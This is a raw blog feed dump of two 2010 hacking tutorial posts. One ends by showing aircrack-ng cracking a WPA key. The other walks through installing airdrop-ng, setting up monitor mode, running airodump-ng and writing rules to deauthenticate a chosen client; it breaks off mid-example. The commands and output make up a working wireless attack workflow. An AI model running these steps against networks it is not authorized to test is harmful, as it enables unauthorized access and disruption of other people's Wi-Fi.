BSSID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ESSID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Encryption&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp; 1&amp;nbsp; 00:18:F8:66:7E:CC &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ficti0nAP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WPA (1 handshake)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Choosing first network as target.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Opening Output-02.cap&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Aircrack-ng 1.0 r1645&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [00:00:00] 1 keys tested (240.91 k/s)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #073763;"&gt; &lt;/span&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;span style="color: #073763;"&gt;KEY FOUND! [ MyPassword ]&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Master Key&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 81 91 38 43 93 E5 28 6C 38 3F 3A 79 88 06 53 80&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 67 D5 24 01 6B BD 44 E6 5B D3 78 92 CE 85 66 60&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Transient Key&amp;nbsp; : A1 91 0B E1 2D 1C D9 31 73 A1 2B 7B 51 4E E6 C0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FE A9 61 49 0E B1 0B 19 76 D6 54 9D A4 4B 7B E3&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 00 05 DB 2B 90 0E DF DB F7 AB D2 53 26 6C E5 C9&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1B 4B 73 1D 9D 94 15 9D 1E 51 79 94 F8 64 97 67&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EAPOL HMAC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 15 55 71 33 DB A8 2C 6F 82 74 1E BF 70 72 1B F0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;"&gt;&lt;span style="font-size: 10pt;"&gt;&lt;span style="font-size: xx-small;"&gt;Quitting aircrack-ng...&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;&lt;span style="color: #3d85c6;"&gt;Optional:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Another useful option if you want to crack all the WPA networks but you want to set the priority on a specific network you can run this sql command to set that priority in the database. Try the following command to set your network as a priority.&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;root@ficti0n:~#&amp;nbsp; &lt;b style="color: red;"&gt;airolib-ng wpaDatabase --sql 'update essid set prio=(select min(prio)-1 from essid) where essid="ficti0nAP";'&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="font-size: 10pt; line-height: 115%;"&gt;&lt;span style="font-size: xx-small;"&gt;Query done. 1 rows affected.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-8243692357306546775?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/8243692357306546775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2010/02/airolib-ng-wpa-cracking-walk-through.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/8243692357306546775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/8243692357306546775'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2010/02/airolib-ng-wpa-cracking-walk-through.html' title='Airolib-ng WPA cracking walk through'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-4175200551893049594</id><published>2010-02-15T21:32:00.000-08:00</published><updated>2010-02-19T12:09:40.727-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='deauth'/><category scheme='http://www.blogger.com/atom/ns#' term='intrusion Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='airdrop-ng'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='deauthentication'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='airdrop'/><title type='text'>Airdrop-ng Basics on BT4 Final</title><content type='html'>&lt;div style="color: #0b5394; text-align: center;"&gt;&lt;br /&gt;&lt;b&gt;De-Authentication and Client Manipulation&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;Over the last few days I have been playing with Airdrop-NG, it seems like a simple yet effective wireless attack tool. I have had some issues with its functionality, but these issues might be AP related and it seemed to be more consistently working after installing psyco. Below are my notes on using Airdrop-ng and also the information from schmoocon 2010. This tool should to be released to the public in a week or so and has a lot of potential. I will post more info later as I explore Airdrop-NG's functionality. This is just some basic usage. More advanced uses and coding projects to follow. &lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;b style="color: #3d85c6;"&gt;Description:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Airdrop-NG is a wireless de-authentication tool released at schmoocon 2010 which can also double as a poor man's WIPS depending on your intentions.&amp;nbsp; Airdrop-NG is a rule based tool that is simple to configure and easy to use. Each rules file can allow or deny traffic using Client Stations MAC's, BSSID's and a few other descriptors. Rules can be updated while the program is running in a loop making for easy on the fly changes within your attack. On each loop Airdrop-NG reparse’s the rules file and continues sending packets based on a CSV output from Airodump-ng. &lt;br /&gt;&lt;br /&gt;Below will be a walkthrough of setting up the tool on BT4 and configuring it to attack a single client station against his BSSID. The install scripts and configurations are intuitive and quick to get working. I had zero install issues on BT4 Final. Pre Final however did give me problems. &lt;br /&gt;&lt;br /&gt;&lt;b style="color: #3d85c6;"&gt;Install airdrop-ng:&lt;/b&gt;&lt;br /&gt;root@ficti0n:~/# &lt;span style="color: red;"&gt;cd airdrop-ng&lt;/span&gt;&lt;br /&gt;root@ficti0n:~/# &lt;span style="color: red;"&gt;airdrop-ng python install.py&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: xx-small;"&gt;Checking for dependancies used by the installer...&lt;br /&gt;All dependancies installed! Continuing...&lt;br /&gt;&lt;br /&gt;#### NOTE: For Ubuntu based distro's,&lt;br /&gt;python2.6-dev must be installed. Please&lt;br /&gt;make sure it is installed before continuing!&lt;br /&gt;&lt;br /&gt;Welcome to the airdrop-ng installer!&lt;br /&gt;You will be prompted for installing&lt;br /&gt;Airdrop-ng, lorcon, and pylorcon.&lt;br /&gt;&lt;br /&gt;Continue with installer? (y/n): y&lt;br /&gt;Install airdrop-ng? (y/n): y&lt;br /&gt;Build exist?&lt;br /&gt;Didn't exist. Creating...&lt;br /&gt;Files copied. Now, moving to directory...&lt;br /&gt;Moving airdrop-ng to /usr/bin, lib to&lt;br /&gt;/usr/lib/airdrop-ng, and installing man pages...&lt;br /&gt;airdrop-ng installed!&amp;nbsp; =)&lt;br /&gt;Would you like to install lorcon? (y/n): y&lt;br /&gt;Running svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old. This may tak&lt;br /&gt;e a while...&lt;br /&gt;A&amp;nbsp;&amp;nbsp;&amp;nbsp; lorcon-old/rt2500inject.h&lt;br /&gt;A&amp;nbsp;&amp;nbsp;&amp;nbsp; lorcon-old/lorcon_decode.c&lt;br /&gt;A&amp;nbsp;&amp;nbsp;&amp;nbsp; lorcon-old/lorcon_packasm.h&lt;br /&gt;A&amp;nbsp;&amp;nbsp;&amp;nbsp; lorcon-old/tx80211_errno.h&lt;br /&gt;A&amp;nbsp;&amp;nbsp;&amp;nbsp; lorcon-old/Makefile.in&lt;br /&gt;A&amp;nbsp;&amp;nbsp;&amp;nbsp; lorcon-old/rt73inject.h&lt;br /&gt;A&amp;nbsp;&amp;nbsp;&amp;nbsp; lorcon-old/madwifing_control.c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: xx-small;"&gt;..........................&lt;br /&gt;.................................................&lt;br /&gt;copying build/lib.linux-i686-2.5/pylorcon.so -&amp;gt; /usr/lib/python2.5/site-packages&lt;br /&gt;running install_egg_info&lt;br /&gt;Removing /usr/lib/python2.5/site-packages/pylorcon-1.0.egg-info&lt;br /&gt;Writing /usr/lib/python2.5/site-packages/pylorcon-1.0.egg-info&lt;br /&gt;Clean up? (y/n): y&lt;br /&gt;Operation(s) complete! May the source be with you. =)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: #3d85c6;"&gt;Install Psyco for more power: &lt;/b&gt;&lt;br /&gt;root@ficti0n:~/# &lt;span style="color: red;"&gt;apt-get install python-psyco&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: xx-small;"&gt;Reading package lists... Done&lt;br /&gt;Building dependency tree&lt;br /&gt;Reading state information... Done&lt;br /&gt;The following NEW packages will be installed:&lt;br /&gt;&amp;nbsp; python-psyco&lt;br /&gt;0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded.&lt;br /&gt;Need to get 270kB of archives.&lt;br /&gt;After this operation, 766kB of additional disk space will be used.&lt;br /&gt;Get:1 http://archive.offensive-security.com pwnsauce/universe python-psyco 1.6-1 [270kB]&lt;br /&gt;Fetched 270kB in 2s (122kB/s)&lt;br /&gt;Selecting previously deselected package python-psyco.&lt;br /&gt;(Reading database ... 225714 files and directories currently installed.)&lt;br /&gt;Unpacking python-psyco (from .../python-psyco_1.6-1_i386.deb) ...&lt;br /&gt;Setting up python-psyco (1.6-1) ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;Setup Wireless Interface:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;root@ficti0n:~/# &lt;span style="color: red;"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: xx-small;"&gt;Found 1 processes that could cause trouble.&lt;br /&gt;If airodump-ng, aireplay-ng or airtun-ng stops working after&lt;br /&gt;a short period of time, you may want to kill (some of) them!&lt;br /&gt;&lt;br /&gt;PID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Name&lt;br /&gt;5757&amp;nbsp;&amp;nbsp;&amp;nbsp; dhclient3&lt;br /&gt;Interface&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Chipset&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Driver&lt;br /&gt;wlan0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RTL8187&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rtl8187 - [phy0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (monitor mode enabled on mon0)&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;Switch to another shell and run airodump:&lt;/span&gt; &lt;/b&gt;&lt;i&gt;(leave airodump running)&lt;/i&gt;&lt;br /&gt;root@ficti0n:~/# &lt;span style="color: red;"&gt;airodump-ng -w Test --output-format csv mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: xx-small;"&gt;CH&amp;nbsp; 6 ][ Elapsed: 10 mins ][ 2010-02-15 18:30 ][ WPA handshake: 02:1F:38:65:AE:EF&lt;br /&gt;&amp;nbsp;BSSID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PWR&amp;nbsp; Beacons&amp;nbsp;&amp;nbsp;&amp;nbsp; #Data, #/s&amp;nbsp; CH&amp;nbsp; MB&amp;nbsp;&amp;nbsp; ENC&amp;nbsp; CIPHER AUTH ESSID&lt;br /&gt;&amp;nbsp;02:5B:6B:4E:6C:6F&amp;nbsp;&amp;nbsp; -1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 26&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp; 11&amp;nbsp; 54 . WEP&amp;nbsp; WEP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Testing&lt;br /&gt;&amp;nbsp;02:1F:28:65:AE:ED&amp;nbsp; -24&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 489&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 391&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp; 1&amp;nbsp; 54e&amp;nbsp; WPA2 CCMP&amp;nbsp;&amp;nbsp; PSK&amp;nbsp; ficti0nsAP&lt;br /&gt;&amp;nbsp;00:0B:85:6C:2D:4F&amp;nbsp; -71&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 48&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp; 1&amp;nbsp; 54 . WEP&amp;nbsp; WEP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Linksys&lt;br /&gt;&amp;nbsp;00:1B:85:6E:2D:4D&amp;nbsp; -72&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 48&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp; 1&amp;nbsp; 54 . WEP&amp;nbsp; WEP&lt;length: 13=""&gt;&lt;br /&gt;&amp;nbsp;06:0B:85:6C:7D:4E&amp;nbsp; -71&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 45&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp; 1&amp;nbsp; 54 . OPN&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;length:&amp;nbsp; 9=""&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;BSSID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; STATION&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PWR&amp;nbsp;&amp;nbsp; Rate&amp;nbsp;&amp;nbsp;&amp;nbsp; Lost&amp;nbsp; Packets&amp;nbsp; Probes&lt;br /&gt;&amp;nbsp;(not associated)&amp;nbsp;&amp;nbsp; 02:16:08:AD:6E:95&amp;nbsp; -67&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 - 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3&lt;br /&gt;&amp;nbsp;(not associated)&amp;nbsp;&amp;nbsp; 00:A0:F8:B8:DF:69&amp;nbsp; -73&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 - 1&amp;nbsp;&amp;nbsp;&amp;nbsp; 120&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 39&amp;nbsp; Linksys&lt;br /&gt;&amp;nbsp;(not associated)&amp;nbsp;&amp;nbsp; 00:24:36:74:F1:97&amp;nbsp; -53&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 - 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 57&lt;br /&gt;&amp;nbsp;02:0B:65:4E:6C:62&amp;nbsp; 02:17:6B:20:00:ED&amp;nbsp; -72&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 - 1&amp;nbsp;&amp;nbsp;&amp;nbsp; 124&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 27&lt;br /&gt;&amp;nbsp;02:1F:28:65:AE:ED&amp;nbsp; 00:23:4E:DF:AE:70&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp; 54e- 1e&amp;nbsp;&amp;nbsp; 979&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 444&lt;br /&gt;&amp;nbsp;02:1F:28:65:AE:ED&amp;nbsp; 00:21:00:DB:60:00&amp;nbsp; -28&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 - 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 67&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 91&amp;nbsp; ficti0nsAP&lt;br /&gt;&amp;nbsp;02:1F:28:65:AE:ED&amp;nbsp; 00:21:6A:11:0E:52&amp;nbsp; -38&amp;nbsp;&amp;nbsp;&amp;nbsp; 1e- 2e&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 212&amp;nbsp; ficti0nsAP&lt;br /&gt;&amp;nbsp;02:1F:28:65:AE:ED&amp;nbsp; 00:2E:45:9F:87:AC&amp;nbsp; -38&amp;nbsp;&amp;nbsp;&amp;nbsp; 1e- 6e&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 194&amp;nbsp; ficti0nsAP&lt;br /&gt;&amp;nbsp;02:1F:28:65:AE:ED&amp;nbsp; 00:23:3E:DF:ED:ED&amp;nbsp; -42&amp;nbsp;&amp;nbsp; 54e- 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 63&amp;nbsp; ficti0nsAP&lt;br /&gt;&amp;nbsp;02:1F:28:65:AE:ED&amp;nbsp; 00:25:08:AD:50:7C&amp;nbsp; -51&amp;nbsp;&amp;nbsp; 54e-24&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2&lt;br /&gt;&amp;nbsp;02:1F:28:65:AE:ED&amp;nbsp; 00:1E:C2:C4:E5:79&amp;nbsp; -67&amp;nbsp;&amp;nbsp;&amp;nbsp; 1e- 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 94&amp;nbsp; ficti0nsAP&lt;/length:&amp;nbsp;&gt;&lt;/length:&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: xx-small;"&gt;&lt;length: 13=""&gt;&lt;length:&amp;nbsp; 9=""&gt;&lt;br /&gt;&lt;/length:&amp;nbsp;&gt;&lt;/length:&gt;&lt;/span&gt;&lt;br /&gt;&lt;b style="color: #3d85c6;"&gt;Edit the example rules file:&lt;/b&gt;&lt;br /&gt;You will need some rules that Airdrop-NG can use when attacking clients,&amp;nbsp; I will explain a bit about the rules form the schmooo presentation then we will add a rule to our rules.conf. &lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;Rules are broken down into 3 fields: (Action/ap|clients):&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;2 options for state field:&lt;/b&gt;&lt;br /&gt;-Allow&lt;br /&gt;-Deny&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5 options for AP field:&lt;/b&gt;&lt;br /&gt;-ESSID&lt;br /&gt;-BSSID&lt;br /&gt;-Company OUI name value&lt;br /&gt;-Company OUI numeric value&lt;br /&gt;-any&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5 options for clients field&lt;/b&gt;&lt;br /&gt;-mac&lt;br /&gt;-multiple macs&amp;nbsp; (ex. mac1,mac2,mac3)&lt;br /&gt;-Company OUI name value&lt;br /&gt;-Company OUI numeric value&lt;br /&gt;-any&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Add your rule Example:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&amp;nbsp;Below is a rule that denys all traffic to the following client "01-23-5E-DF-AE-50" from a specified BSSID&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Example Deny Rule:&lt;/b&gt;&lt;br 